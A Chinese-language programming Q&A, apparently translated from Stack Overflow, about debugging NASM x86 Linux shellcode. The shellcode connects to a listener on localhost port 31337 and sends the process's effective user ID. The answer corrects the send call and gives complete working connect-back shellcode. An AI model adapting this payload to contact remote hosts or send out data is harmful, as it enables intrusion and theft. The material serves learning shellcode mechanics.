nasm x86：发送系统调用解释有效负载以发送为NULL

Question

我正在尝试编写一些shell代码，它将连接到localhost上端口31337上的侦听器，并发送程序的有效用户ID以用于学习目的。

为了使调试更容易，我构造了以下代码并与nasm一起组装：

BITS 32

section .data

section .bss

section .text
    global _start:

_start:

    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; socketcall is syscall #102 (0x66).
    pop eax
    cdq ; Zero out edx for use as a null DWORD later.
    xor ebx, ebx ; ebx is the type of socketcall.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Build arg array: { protocol = 0,
    push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = ptr to argument array
    int 0x80 ; After syscall, eax has socket file descriptor.
    xchg esi, eax ; Save socket FD in esi for later.

    ; connect(s, [2, 31337, <IP address>], 16)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    inc ebx ; ebx = 2 (needed for AF_INET)
    push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
    push WORD 0x697a ; (in reverse order) PORT = 31337
    push WORD bx ; AF_INET = 2
    mov ecx, esp ; ecx = server struct pointer
    push BYTE 16 ; argv: { sizeof(server struct) = 16,
    push ecx ; server struct pointer,
    push esi ; socket file descriptor }
    mov ecx, esp ; ecx = argument array
    inc ebx ; ebx = 3 = SYS_CONNECT = connect()
    int 0x80

    ; geteuid(void)
    push BYTE 0x31 ; call for geteuid (syscall #49)
    pop eax
    int 0x80 ; eax = effective user id
    mov edi, eax ; store euid for later

    ; send(3, euid, 8, 0)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    xor edx, edx ; creating zero for flags
    push edx 
    push BYTE 8 ; size of data to transmit
    push edi ; euid
    push esi ; file descriptor
    mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
    mov ecx, esp ; argument array
    int 0x80

    ; exit(1)       
    push BYTE 1 ; call for exit
    pop eax
    xor ebx, ebx
    int 0x80

当我运行此代码时，成功创建了一个套接字并建立了与我在端口31337上侦听的服务器的连接。但是，我的用户ID未被发送。当我运行strace时，我收到以下输出：

execve("./connect_back", ["./connect_back"], [/* 18 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), 
sin_addr=inet_addr("127.0.0.1")}, 16) = 0
geteuid()                               = 0
send(3, NULL, 8, 0)                     = -1 EFAULT (Bad address)
_exit(0)                                = ?
+++ exited with 0 +++

看来我的euid并没有被用作参数。但是，当我在二进制文件上运行gdb时，程序似乎正确设置了发送调用的参数：

我是nasm的新手，所以如果这是一个愚蠢的语法问题，我道歉。谢谢您的帮助！

Answer 1

TL; DR：你在STRACE中为send看到的值NULL是因为你运行STRACE作为root用户而Linux发行版上的root的UID通常是0.在调试器中你看到0x3e8，因为你运行调试器作为非特权用户UID = 1000（即0x3e8）。

sys_send需要指向要发送的数据的指针，而不是数据。值0x0000和0x03e8被视为内存地址，即使它们不是内存地址。这两个地址都是内存，我们没有读取权限，因此结果是strace输出的send中的-EFAULT（错误地址）

---

您将UID的值传递给send，而不是指向数据的指针。 send指向数据，而不是数据本身。此代码将UID压入堆栈，然后使用堆栈地址作为指向UID的指针。指向UID的指针用于调用send：

BITS 32

section .data

section .bss

section .text
    global _start:

_start:

    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; socketcall is syscall #102 (0x66).
    pop eax
    cdq ; Zero out edx for use as a null DWORD later.
    xor ebx, ebx ; ebx is the type of socketcall.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Build arg array: { protocol = 0,
    push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = ptr to argument array
    int 0x80 ; After syscall, eax has socket file descriptor.
    xchg esi, eax ; Save socket FD in esi for later.

    ; connect(s, [2, 31337, <IP address>], 16)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    inc ebx ; ebx = 2 (needed for AF_INET)
    push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
    push WORD 0x697a ; (in reverse order) PORT = 31337
    push WORD bx ; AF_INET = 2
    mov ecx, esp ; ecx = server struct pointer
    push BYTE 16 ; argv: { sizeof(server struct) = 16,
    push ecx ; server struct pointer,
    push esi ; socket file descriptor }
    mov ecx, esp ; ecx = argument array
    inc ebx ; ebx = 3 = SYS_CONNECT = connect()
    int 0x80

    ; geteuid(void)
    push BYTE 0x31 ; call for geteuid (syscall #49)
    pop eax
    int 0x80 ; eax = effective user id
    push eax     ; Put EAX on the stack
    mov edi, esp ; Get the address (on stack) of the UID

    ; send(3, euid, 8, 0)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    xor edx, edx ; creating zero for flags
    push edx
    push BYTE 4 ; size of data to transmit
    push edi ; euid
    push esi ; file descriptor
    mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
    mov ecx, esp ; argument array
    int 0x80

    ; exit(1)
    push BYTE 1 ; call for exit
    pop eax
    xor ebx, ebx
    int 0x80

我发送4个字节的数据（32位整数）而不是8个字节。接收器应该接收包含UID二进制值的4个字节。

如果要将UID作为可打印字符串发送，则必须将UID转换为字符串并将字符串的地址传递给send。